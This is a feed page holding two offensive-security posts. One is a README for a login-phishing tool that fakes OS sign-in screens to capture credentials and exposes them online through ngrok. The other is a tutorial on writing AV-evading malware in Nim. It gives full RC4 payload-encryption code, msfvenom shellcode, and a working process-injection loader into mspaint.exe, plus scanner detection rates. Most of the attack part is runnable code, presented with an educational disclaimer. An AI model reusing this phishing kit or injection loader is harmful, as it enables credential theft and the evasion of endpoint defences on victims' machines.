❌

Normal view

There are new articles available, click to refresh the page.
Today β€” 6 June 2024Main stream

Thief Raccoon - Login Phishing Tool


Thief Raccoon is a tool designed for educational purposes to demonstrate how phishing attacks can be conducted on various operating systems. This tool is intended to raise awareness about cybersecurity threats and help users understand the importance of security measures like 2FA and password management.


Features

  • Phishing simulation for Windows 10, Windows 11, Windows XP, Windows Server, Ubuntu, Ubuntu Server, and macOS.
  • Capture user credentials for educational demonstrations.
  • Customizable login screens that mimic real operating systems.
  • Full-screen mode to enhance the phishing simulation.

Installation

Prerequisites

  • Python 3.x
  • pip (Python package installer)
  • ngrok (for exposing the local server to the internet)

Download and Install

  1. Clone the repository:

```bash git clone https://github.com/davenisc/thief_raccoon.git cd thief_raccoon

  1. Install python venv

```bash apt install python3.11-venv

  1. Create venv:

```bash python -m venv raccoon_venv source raccoon_venv/bin/activate

  1. Install the required libraries:

```bash pip install -r requirements.txt

Usage

  1. Run the main script:

```bash python app.py

  1. Select the operating system for the phishing simulation:

After running the script, you will be presented with a menu to select the operating system. Enter the number corresponding to the OS you want to simulate.

  1. Access the phishing page:

If you are on the same local network (LAN), open your web browser and navigate to http://127.0.0.1:5000.

If you want to make the phishing page accessible over the internet, use ngrok.

Using ngrok

  1. Download and install ngrok

Download ngrok from ngrok.com and follow the installation instructions for your operating system.

  1. Expose your local server to the internet:

  2. Get the public URL:

After running the above command, ngrok will provide you with a public URL. Share this URL with your test subjects to access the phishing page over the internet.

How to install Ngrok on Linux?

  1. Install ngrok via Apt with the following command:

```bash curl -s https://ngrok-agent.s3.amazonaws.com/ngrok.asc \ | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null \ && echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \ | sudo tee /etc/apt/sources.list.d/ngrok.list \ && sudo apt update \ && sudo apt install ngrok

  1. Run the following command to add your authtoken to the default ngrok.yml

```bash ngrok config add-authtoken xxxxxxxxx--your-token-xxxxxxxxxxxxxx

Deploy your app online

  1. Put your app online at ephemeral domain Forwarding to your upstream service. For example, if it is listening on port http://localhost:8080, run:

    ```bash ngrok http http://localhost:5000

Example

  1. Run the main script:

```bash python app.py

  1. Select Windows 11 from the menu:

```bash Select the operating system for phishing: 1. Windows 10 2. Windows 11 3. Windows XP 4. Windows Server 5. Ubuntu 6. Ubuntu Server 7. macOS Enter the number of your choice: 2

  1. Access the phishing page:

Open your browser and go to http://127.0.0.1:5000 or the ngrok public URL.

Disclaimer

This tool is intended for educational purposes only. The author is not responsible for any misuse of this tool. Always obtain explicit permission from the owner of the system before conducting any phishing tests.

License

This project is licensed under the MIT License. See the LICENSE file for details.

ScreenShots

Credits

Developer: @davenisc Web: https://davenisc.com



Malware and cryptography 28: RC4 payload encryption. Simple Nim example.

1 June 2024 at 01:00

ο·½

Hello, cybersecurity enthusiasts and white hackers!

cryptography

Many of my readers ask whether it is possible to write malware in a language other than C/C++/ASM.

When malware is found to be written in new programming languages, AV detections are often failing since the new language produces bytecode sequences that are relatively unknown, combined with strings of data that can throw off static-based heuristic models.

As an experiment, I decided to show how to write a simple malware example using Nim lang. The reason for this choice is the ease of the language and its flexibility for use in bypassing AV/EDR solutions.

For installation and intro you can read official documentation.

In one of my previous posts I used RC4 algorithm to encrypt the payload. Let’s create the same logic for Nim malware.

practical example 1

First of all, create RC4 algorithm logic. This is a simple algorithm and the code for its implementation in C++ looks like this:

// swap
void swap(unsigned char *a, unsigned char *b) {
  unsigned char tmp;
  tmp = *a;
  *a = *b;
  *b = tmp;
}

// key-scheduling algorithm (KSA)
void KSA(unsigned char *s, unsigned char *key, int keyL) {
  int k;
  int x, y = 0;

  // initialize
  for (k = 0; k < 256; k++) {
    s[k] = k;
  }

  for (x = 0; x < 256; x++) {
    y = (y + s[x] + key[x % keyL]) % 256;
    swap(&s[x], &s[y]);
  }
  return;
}

// pseudo-random generation algorithm (PRGA)
unsigned char* PRGA(unsigned char* s, unsigned int messageL) {
  int i = 0, j = 0;
  int k;

  unsigned char* keystream;
  keystream = (unsigned char *)malloc(sizeof(unsigned char)*messageL);
  for(k = 0; k < messageL; k++) {
    i = (i + 1) % 256;
    j = (j + s[i]) % 256;
    swap(&s[i], &s[j]);
    keystream[k] = s[(s[i] + s[j]) % 256];
	}
	return keystream;
}

// encryption and decryption
unsigned char* RC4(unsigned char *plaintext, unsigned char* ciphertext, unsigned char* key, unsigned int keyL, unsigned int messageL) {
  int i;
  unsigned char s[256];
  unsigned char* keystream;
  KSA(s, key, keyL);
  keystream = PRGA(s, messageL);

  for (i = 0; i < messageL; i++) {
    ciphertext[i] = plaintext[i] ^ keystream[i];
  }
  return ciphertext;
}

So, on Nim lang this logic looks like this:

import strutils
import sequtils
import system

proc swap(a: var byte, b: var byte) =
  let tmp = a
  a = b
  b = tmp

proc KSA(s: var seq[byte], key: seq[byte]) =
  let keyL = len(key)
  var y = 0

  # initialize
  for k in 0 ..< 256:
    s[k] = byte(k)

  for x in 0 ..< 256:
    y = (y + int(s[x]) + int(key[x mod keyL])) mod 256
    swap(s[x], s[y.byte])

proc PRGA(s: var seq[byte], messageL: int): seq[byte] =
  var i = 0
  var j = 0
  result = newSeq[byte](messageL)

  for k in 0 ..< messageL:
    i = (i + 1) mod 256
    j = (j + int(s[i])) mod 256
    swap(s[i], s[j.byte])
    result[k] = s[(int(s[i]) + int(s[j])) mod 256]

proc RC4(plaintext: seq[byte], key: seq[byte]): seq[byte] =
  let messageL = len(plaintext)
  var s = newSeq[byte](256) 
  KSA(s, key)
  let keystream = PRGA(s, messageL)

  result = newSeq[byte](messageL)
  for i in 0 ..< messageL:
    result[i] = plaintext[i] xor keystream[i]

For checking corectness, add printing hex bytes of payload logic:

when isMainModule:
  let plaintext: seq[byte] = @[// payload here]
  let key: seq[byte] = @[0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77]

  let ciphertext = RC4(plaintext, key)
  var enchex: seq[string]
  for b in ciphertext:
    enchex.add("0x" & $toHex(b, 2))
  echo "payload encrypted:\n", enchex.join(", ")

  let decrypted = RC4(ciphertext, key)
  var decrhex: seq[string]
  for b in decrypted:
    decrhex.add("0x" & $toHex(b, 2))
  echo "original payload:\n", decrhex.join(", ")

How we can generate payload for nim language?

For this we can use msfvenom:

msfvenom -p windows/x64/messagebox TEXT='meow-meow!' TITLE='cat' -f csharp

cryptography

In our case little bit modify this brackets and variable:

let plaintext: seq[byte] = @[
byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,
0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,
0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,
0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,
0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,
0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,
0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,
0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,
0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,
0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,
0x40,0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,
0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,
0x00,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x09,0x01,0x00,0x00,0x48,
0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,0x48,0x31,
0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6d,0x65,0x6f,
0x77,0x2d,0x6d,0x65,0x6f,0x77,0x21,0x00,0x63,0x61,0x74,0x00
]

So the final full source code is look like this hack.nim:

import strutils
import sequtils
import system

proc swap(a: var byte, b: var byte) =
  let tmp = a
  a = b
  b = tmp

proc KSA(s: var seq[byte], key: seq[byte]) =
  let keyL = len(key)
  var y = 0

  # initialize
  for k in 0 ..< 256:
    s[k] = byte(k)

  for x in 0 ..< 256:
    y = (y + int(s[x]) + int(key[x mod keyL])) mod 256
    swap(s[x], s[y.byte])

proc PRGA(s: var seq[byte], messageL: int): seq[byte] =
  var i = 0
  var j = 0
  result = newSeq[byte](messageL)

  for k in 0 ..< messageL:
    i = (i + 1) mod 256
    j = (j + int(s[i])) mod 256
    swap(s[i], s[j.byte])
    result[k] = s[(int(s[i]) + int(s[j])) mod 256]

proc RC4(plaintext: seq[byte], key: seq[byte]): seq[byte] =
  let messageL = len(plaintext)
  var s = newSeq[byte](256) 
  KSA(s, key)
  let keystream = PRGA(s, messageL)

  result = newSeq[byte](messageL)
  for i in 0 ..< messageL:
    result[i] = plaintext[i] xor keystream[i]

when isMainModule:
  let plaintext: seq[byte] = @[
    byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,
    0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
    0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
    0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,
    0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,
    0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,
    0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,
    0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
    0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,
    0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
    0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,
    0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,
    0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
    0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,
    0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,
    0x40,0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,
    0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
    0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
    0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,
    0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,
    0x00,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x09,0x01,0x00,0x00,0x48,
    0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,0x48,0x31,
    0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6d,0x65,0x6f,
    0x77,0x2d,0x6d,0x65,0x6f,0x77,0x21,0x00,0x63,0x61,0x74,0x00
    ]
  let key: seq[byte] = @[0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77]

  let ciphertext = RC4(plaintext, key)
  var enchex: seq[string]
  for b in ciphertext:
    enchex.add("0x" & $toHex(b, 2))
  echo "payload encrypted:\n", enchex.join(", ")

  let decrypted = RC4(ciphertext, key)
  var decrhex: seq[string]
  for b in decrypted:
    decrhex.add("0x" & $toHex(b, 2))
  echo "original payload:\n", decrhex.join(", ")

demo 1

Let’s check it in action. Compile it:

nim c -d:mingw --cpu:amd64 hack.nim

cryptography

Then, just move it to the victim’s machine (Windows 11 in my case) and run:

.\hack.exe

cryptography

For checking correctness of RC4 encryption/decryption you also can use simple C code.

practical example 2

Let’s update our code from example 1: add simple process injection logic.

For process injection, let’s create process first:

import osproc
import winim

let process = startProcess("mspaint.exe")
echo "started  process: ", process.processID

Then, add process injection logic via VirtualAllocEx, WriteProcessMemory and CreateRemoteThread:

let ph = winim.OpenProcess(
    PROCESS_ALL_ACCESS,
    false,
    cast[DWORD](process.processID)
)

when isMainModule:
    let mem = VirtualAllocEx(
        ph,
        NULL,
        cast[SIZE_T](plaintext.len),
        MEM_COMMIT,
        PAGE_EXECUTE_READ_WRITE
    )
    var btw: SIZE_T
    let wp = WriteProcessMemory(
        ph,
        mem,
        unsafeAddr payload[0],
        cast[SIZE_T](plaintext.len),
        addr btw
    )
    echo "writeprocessmemory: ", bool(wp)
    let th = CreateRemoteThread(
        ph,
        NULL,
        0,
        cast[LPTHREAD_START_ROUTINE](mem),
        NULL,
        0,
        NULL
    )
    echo "successfully inject to process: ", process.processID
    echo "thread Handle: ", th

The only difference, we are using encrypted payload from example 1:

let plaintext: seq[byte] = @[
byte 0x61, 0x03, 0xDF, 0x4C, 0xE0, 0x8E, 0xFF, 0x5F, 0xB2, 0x7F, 0x28, 0x22, 0xE9,
0x3B, 0x1A, 0x09, 0xB6, 0x66, 0x78, 0xCD, 0xAD, 0x67, 0xE1, 0x18, 0x82, 0x91,
0x83, 0x1C, 0xE9, 0x9D, 0x09, 0x80, 0xFB, 0x0F, 0xD7, 0x3A, 0x06, 0xB2, 0xF2, 
0x6B, 0x0C, 0xA4, 0x93, 0x29, 0xBE, 0x3D, 0x73, 0x78, 0xEE, 0xD5, 0x6B, 0xB7, 
0xB5, 0x5B, 0x98, 0xF0, 0x8E, 0x61, 0xD3, 0x3F, 0x2B, 0xEB, 0x06, 0xA2, 0x9B, 
0xE5, 0xDA, 0xED, 0x0C, 0xF1, 0xF4, 0x64, 0x82, 0x8B, 0x96, 0xD0, 0x71, 0x9A, 
0xCB, 0x59, 0x41, 0x7C, 0x52, 0x06, 0x4D, 0xC7, 0x00, 0xEC, 0x80, 0xDD, 0xDF, 
0x37, 0x4D, 0x3C, 0x25, 0x82, 0xB4, 0x37, 0xE6, 0x25, 0x75, 0xDC, 0xBE, 0xF0, 
0x1E, 0xD1, 0x1A, 0xDE, 0x2D, 0xB8, 0xA2, 0xA1, 0x6B, 0x7D, 0x0F, 0xC0, 0xC0, 
0x66, 0x4A, 0x9E, 0x9A, 0x9A, 0x93, 0x6B, 0xA4, 0x63, 0x51, 0xA0, 0x91, 0xB0, 
0x99, 0x21, 0xDC, 0xDB, 0x41, 0xF7, 0xCC, 0xB8, 0xD5, 0x4B, 0xFF, 0xA2, 0x58, 
0xA8, 0xEF, 0xE3, 0x90, 0x50, 0x3C, 0x03, 0x30, 0x42, 0x3C, 0x1B, 0x5F, 0x9C, 
0x8F, 0xF2, 0xC7, 0x19, 0xA5, 0x07, 0x3E, 0x1C, 0x70, 0x6E, 0x80, 0xDA, 0x23, 
0x37, 0x51, 0x98, 0x7D, 0xBE, 0x55, 0xF9, 0x56, 0x52, 0x0E, 0x48, 0x40, 0x2D, 
0x9A, 0xD3, 0x0F, 0xB8, 0x92, 0x62, 0xE7, 0x5C, 0x0A, 0x2E, 0xFE, 0xF8, 0x96, 
0x8E, 0x10, 0x6A, 0x04, 0x0B, 0xDD, 0x24, 0xCB, 0x18, 0x20, 0x9E, 0x23, 0x9A, 
0x57, 0xC1, 0x38, 0xC0, 0xD7, 0x0A, 0x57, 0x3E, 0x80, 0x75, 0x9B, 0x79, 0x59, 
0xB6, 0x31, 0xE4, 0x3E, 0xBA, 0xBB, 0x1E, 0x91, 0xC5, 0x10, 0xA0, 0x63, 0x6B, 
0x99, 0x9F, 0x61, 0x6C, 0xB5, 0x1A, 0x09, 0x61, 0xFD, 0x21, 0xCC, 0x64, 0xC4, 
0x9C, 0xCA, 0x15, 0xA1, 0x3B, 0x62, 0x44, 0x5B, 0x34, 0xDC, 0x06, 0xEB, 0x8F, 
0xB1, 0x50, 0x7B, 0x1C, 0x77, 0xC7, 0x8B, 0x24, 0x34, 0x5E, 0xC4, 0x02, 0x00, 
0x3F, 0x1D, 0x05, 0x2E, 0x18, 0xC5, 0xEA, 0x6D, 0x6F
]
let key: seq[byte] = @[0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77]
let payload = RC4(plaintext, key)

As you can see, we are decrypt it via RC4.

The final full source code for example 2 is looks like this (hack2.nim):

import strutils
import sequtils
import system
import osproc
import winim

proc swap(a: var byte, b: var byte) =
  let tmp = a
  a = b
  b = tmp

proc KSA(s: var seq[byte], key: seq[byte]) =
  let keyL = len(key)
  var y = 0

  # initialize
  for k in 0 ..< 256:
    s[k] = byte(k)

  for x in 0 ..< 256:
    y = (y + int(s[x]) + int(key[x mod keyL])) mod 256
    swap(s[x], s[y.byte])

proc PRGA(s: var seq[byte], messageL: int): seq[byte] =
  var i = 0
  var j = 0
  result = newSeq[byte](messageL)

  for k in 0 ..< messageL:
    i = (i + 1) mod 256
    j = (j + int(s[i])) mod 256
    swap(s[i], s[j.byte])
    result[k] = s[(int(s[i]) + int(s[j])) mod 256]

proc RC4(plaintext: seq[byte], key: seq[byte]): seq[byte] =
  let messageL = len(plaintext)
  var s = newSeq[byte](256) 
  KSA(s, key)
  let keystream = PRGA(s, messageL)

  result = newSeq[byte](messageL)
  for i in 0 ..< messageL:
    result[i] = plaintext[i] xor keystream[i]

when isMainModule:
  let plaintext: seq[byte] = @[
    byte 0x61, 0x03, 0xDF, 0x4C, 0xE0, 0x8E, 0xFF, 0x5F, 0xB2, 0x7F, 0x28, 0x22, 0xE9,
    0x3B, 0x1A, 0x09, 0xB6, 0x66, 0x78, 0xCD, 0xAD, 0x67, 0xE1, 0x18, 0x82, 0x91,
    0x83, 0x1C, 0xE9, 0x9D, 0x09, 0x80, 0xFB, 0x0F, 0xD7, 0x3A, 0x06, 0xB2, 0xF2, 
    0x6B, 0x0C, 0xA4, 0x93, 0x29, 0xBE, 0x3D, 0x73, 0x78, 0xEE, 0xD5, 0x6B, 0xB7, 
    0xB5, 0x5B, 0x98, 0xF0, 0x8E, 0x61, 0xD3, 0x3F, 0x2B, 0xEB, 0x06, 0xA2, 0x9B, 
    0xE5, 0xDA, 0xED, 0x0C, 0xF1, 0xF4, 0x64, 0x82, 0x8B, 0x96, 0xD0, 0x71, 0x9A, 
    0xCB, 0x59, 0x41, 0x7C, 0x52, 0x06, 0x4D, 0xC7, 0x00, 0xEC, 0x80, 0xDD, 0xDF, 
    0x37, 0x4D, 0x3C, 0x25, 0x82, 0xB4, 0x37, 0xE6, 0x25, 0x75, 0xDC, 0xBE, 0xF0, 
    0x1E, 0xD1, 0x1A, 0xDE, 0x2D, 0xB8, 0xA2, 0xA1, 0x6B, 0x7D, 0x0F, 0xC0, 0xC0, 
    0x66, 0x4A, 0x9E, 0x9A, 0x9A, 0x93, 0x6B, 0xA4, 0x63, 0x51, 0xA0, 0x91, 0xB0, 
    0x99, 0x21, 0xDC, 0xDB, 0x41, 0xF7, 0xCC, 0xB8, 0xD5, 0x4B, 0xFF, 0xA2, 0x58, 
    0xA8, 0xEF, 0xE3, 0x90, 0x50, 0x3C, 0x03, 0x30, 0x42, 0x3C, 0x1B, 0x5F, 0x9C, 
    0x8F, 0xF2, 0xC7, 0x19, 0xA5, 0x07, 0x3E, 0x1C, 0x70, 0x6E, 0x80, 0xDA, 0x23, 
    0x37, 0x51, 0x98, 0x7D, 0xBE, 0x55, 0xF9, 0x56, 0x52, 0x0E, 0x48, 0x40, 0x2D, 
    0x9A, 0xD3, 0x0F, 0xB8, 0x92, 0x62, 0xE7, 0x5C, 0x0A, 0x2E, 0xFE, 0xF8, 0x96, 
    0x8E, 0x10, 0x6A, 0x04, 0x0B, 0xDD, 0x24, 0xCB, 0x18, 0x20, 0x9E, 0x23, 0x9A, 
    0x57, 0xC1, 0x38, 0xC0, 0xD7, 0x0A, 0x57, 0x3E, 0x80, 0x75, 0x9B, 0x79, 0x59, 
    0xB6, 0x31, 0xE4, 0x3E, 0xBA, 0xBB, 0x1E, 0x91, 0xC5, 0x10, 0xA0, 0x63, 0x6B, 
    0x99, 0x9F, 0x61, 0x6C, 0xB5, 0x1A, 0x09, 0x61, 0xFD, 0x21, 0xCC, 0x64, 0xC4, 
    0x9C, 0xCA, 0x15, 0xA1, 0x3B, 0x62, 0x44, 0x5B, 0x34, 0xDC, 0x06, 0xEB, 0x8F, 
    0xB1, 0x50, 0x7B, 0x1C, 0x77, 0xC7, 0x8B, 0x24, 0x34, 0x5E, 0xC4, 0x02, 0x00, 
    0x3F, 0x1D, 0x05, 0x2E, 0x18, 0xC5, 0xEA, 0x6D, 0x6F
    ]
  let key: seq[byte] = @[0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77]

  let payload = RC4(plaintext, key)

  let process = startProcess("mspaint.exe")
  echo "started  process: ", process.processID

  let ph = winim.OpenProcess(
    PROCESS_ALL_ACCESS,
    false,
    cast[DWORD](process.processID)
  )

when isMainModule:
    let mem = VirtualAllocEx(
        ph,
        NULL,
        cast[SIZE_T](plaintext.len),
        MEM_COMMIT,
        PAGE_EXECUTE_READ_WRITE
    )
    var btw: SIZE_T
    let wp = WriteProcessMemory(
        ph,
        mem,
        unsafeAddr payload[0],
        cast[SIZE_T](plaintext.len),
        addr btw
    )
    echo "writeprocessmemory: ", bool(wp)
    let th = CreateRemoteThread(
        ph,
        NULL,
        0,
        cast[LPTHREAD_START_ROUTINE](mem),
        NULL,
        0,
        NULL
    )
    echo "successfully inject to process: ", process.processID
    echo "thread Handle: ", th

demo 2

Compile practical example 2:

nim c -d:mingw --cpu:amd64 hack2.nim

cryptography

And run new file on Windows 11:

.\hack2.exe

cryptography

cryptography

To verify our payload is indeed injected into mspaint.exe process we can use Process Hacker 2, in memory section we can see:

cryptography

So, it seems our simple injection logic worked!

Upload this sample to https://websec.nl/en/scanner:

cryptography

https://websec.nl/en/scanner/result/b1497b7b-af49-48f7-870e-2d612ecd1ad3

As you can see, 4 of 40 AV engines detect our file as malicious.

Note that Microsoft Defender detect it as VirTool:Win32/Meterpreter:

cryptography

I hope this post is useful for malware researchers, C/C++ programmers and offensive security professionals.

RC4
Malware AV/VM evasion part 9
https://websec.nl/en/scanner
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

❌
❌